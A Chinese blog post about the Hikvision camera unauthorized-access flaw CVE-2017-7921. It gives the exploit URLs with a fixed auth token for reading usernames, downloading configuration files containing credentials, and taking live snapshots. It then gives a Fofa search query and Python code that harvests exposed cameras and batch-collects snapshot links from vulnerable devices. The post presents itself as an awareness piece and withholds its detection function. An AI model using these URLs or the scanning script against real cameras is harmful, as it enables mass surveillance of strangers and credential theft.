【未授权访问】我就这么容易被曝光了吗?

前言

时光转瞬,上一篇文章的时间定格在了半年前的情人节。由于各种原因,已经好久没有更新文章了,承蒙大家的喜爱,陆续收到了许多小伙伴的“催更”。有一说一:“心里是暖的❤️”。
愿今后自己可以不忘初心,继续前行,将心中的一些想法,一些感受,一些技巧,一些故事与大家分享。

恰巧前不久看到某康威视网络摄像头管理后台存在安全缺陷,于是,作为对万物充满好奇的少年,我决定亲自试一波,看看信息暴露离我们究竟有多远?框框一顿操作,画面呈现在我眼前:
在这里插入图片描述

ps.该摄像头为本地自用摄像头,已获得管理人员许可

WT?我就这么轻松被看得赤裸裸了?究竟发生了什么,请系好安全带,咋们发车了🚗…(滴,学生卡)

一、洞穿一切

早几年网上就已经爆出海康威视摄像头的管理后台存在未授权访问漏洞(CVE-2017-7921),允许任意用户在不知道用户密码的前提下进行一系列操作:

1.获取用户名

获取用户名对应的地址为:

http://IP地址/Security/users?auth=YWRtaW46MTEK

只需将“IP地址”换成实际的IP,如果存在漏洞的话,我们便可直接看到该摄像头的用户名:

在这里插入图片描述

2.下载摄像头配置文件

获取配置文件对应的地址为:

http://IP地址/System/configurationFile?auth=YWRtaW46MTEK

同样将“IP地址”换成实际IP后,我们得到一个二进制配置文件,利用工具将其解密后可以看到摄像头后台的用户名密码

在这里插入图片描述

然而,经过实际测试却无法登陆,所以这里不过多的展开了,如果有懂行的小伙伴欢迎发言指导鸭~

3.获取监控快照

获取监控视频截图的地址为:

http://IP地址/onvif-http/snapshot?auth=YWRtaW46MTEK

直接访问该地址后,我们便可获得当前监控视频的快照截图,视频里发送了什么,一目了然!

这位看官,您以为到这里就完了吗?

NO,kimol君作为一名热爱探索的三好青年,怎能止步于此。眼镜一推,发现事情并不简单,您继续往下看:

二、Fofa无边

何为Fofa?
Fofa是一个可怕的搜索引擎,它不同于谷歌、百度等仅搜索爬取网页信息,Fofa用于网络空间资源探测,其爬取的是互联网上所有设备的 IP 地址及其端口号。在搜索栏中输入:

app="HIKVISION-视频监控"

我们便能看到对应的设备信息及其地址:
在这里插入图片描述
于是,根据搜索结果便可以逐一对这些地址进行测试(即在地址后加入漏洞利用的地址),然后…🐸🐸🐸
手动测试ing,一个、两个、三个。。。些许有些崩溃,视线逐渐模糊,直呼“这也太累了叭!”。 懒人中的战斗机永不言退,于是我决定写个脚本实现自动化测试

三、双管齐下

自动化原理也很直白明了,首先是通过Fofa搜索引擎获取到设备的IP地址,然后访问该IP地址对应的接口(以上三个均可👆)并进行判断即可。

1.爬取设备信息

通过F12抓取数据包,然后利用python中的requests对请求进行模拟,有:

import base64
import requests

def search(keyword, pn):
    url = 'https://api.fofa.so/v1/search'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
        'Accept': 'application/json, text/plain, */*',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': 'https://fofa.so/',
        'Authorization': 'xxxx', # 需要替换为自己Fofa登陆的授权信息
        'Cache-Control': 'no-cache',
        'Origin': 'https://fofa.so',
        'Connection': 'keep-alive',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-site',
    }
    params = (
        ('q', keyword),
        ('qbase64', base64.b64encode(keyword.encode('utf-8'))),
        ('full', 'false'),
        ('pn', str(pn)),
        ('ps', '10'),
    )
    res = requests.get(url, headers=headers, params=params)
    data = res.json()['data']['assets']
    return data

函数共有两个参数keywordpn,其中keyword为搜索的关键字,pn为第几页。得到如下的数据:
在这里插入图片描述
IP地址、端口号、国家、城市等信息都有了,剩下只需进行漏洞测试即可。

2.自动化检测

获取到设备信息后,我们便可批量对这些设备进行检测,确定是否存在漏洞:

savename = '漏洞列表'
keyword = 'HIKVISION-视频监控'               
data = search(keyword, pn=1)
result = []
for d in data:
    host = d['id']
    ip = d['ip']
    try:
        if detect(host):
            result.append('http://%s/onvif-http/snapshot?auth=YWRtaW46MTEK'%host)
            print('"%s"存在漏洞!'%ip)
        else:
            print('"%s"不存在漏洞!'%ip)
    except:
        print('"%s"不存在漏洞!'%ip)
print('共计发现%d个漏洞网站'%len(result))
if len(result) != 0:
    with open('./结果/%s.txt'%savename, 'w') as f:
        for r in result:
            f.write(r+'\n')

ps.由于比较敏感,detect()函数的代码就不提供了,想必看懂的小伙伴很容易能够写出来

运行代码后,结果赫然躺在文件里:
在这里插入图片描述
访问这些地址即可获得摄像头的截图快照,我瞬间觉得后背发凉:“原来被监视这么容易”!

写在最后

本文仅作为技术交流,切勿用于非法途径!

本文的初衷是想告诉大家,其实网络安全、YS泄露离我们并不遥远,它正在我们的身边时刻“演绎”着。只需要几行简短的脚本代码便可轻松获取到摄像头的数据,也许正有一双眼睛盯着我们。
这并非危言耸听,HeiK们的手段远远多于此,而网络安全意识也更非空谈,只有我们每一个人都引起足够的重视,我们的YS才不至于被随意贩卖!

我是kimol君,咋们下次再会~
在这里插入图片描述
创作不易,大侠请留步… 动起可爱的双手,来个赞再走呗 (๑◕ܫ←๑)

  • 206
    点赞
  • 242
    收藏
    觉得还不错? 一键收藏
  • 144
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 144
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值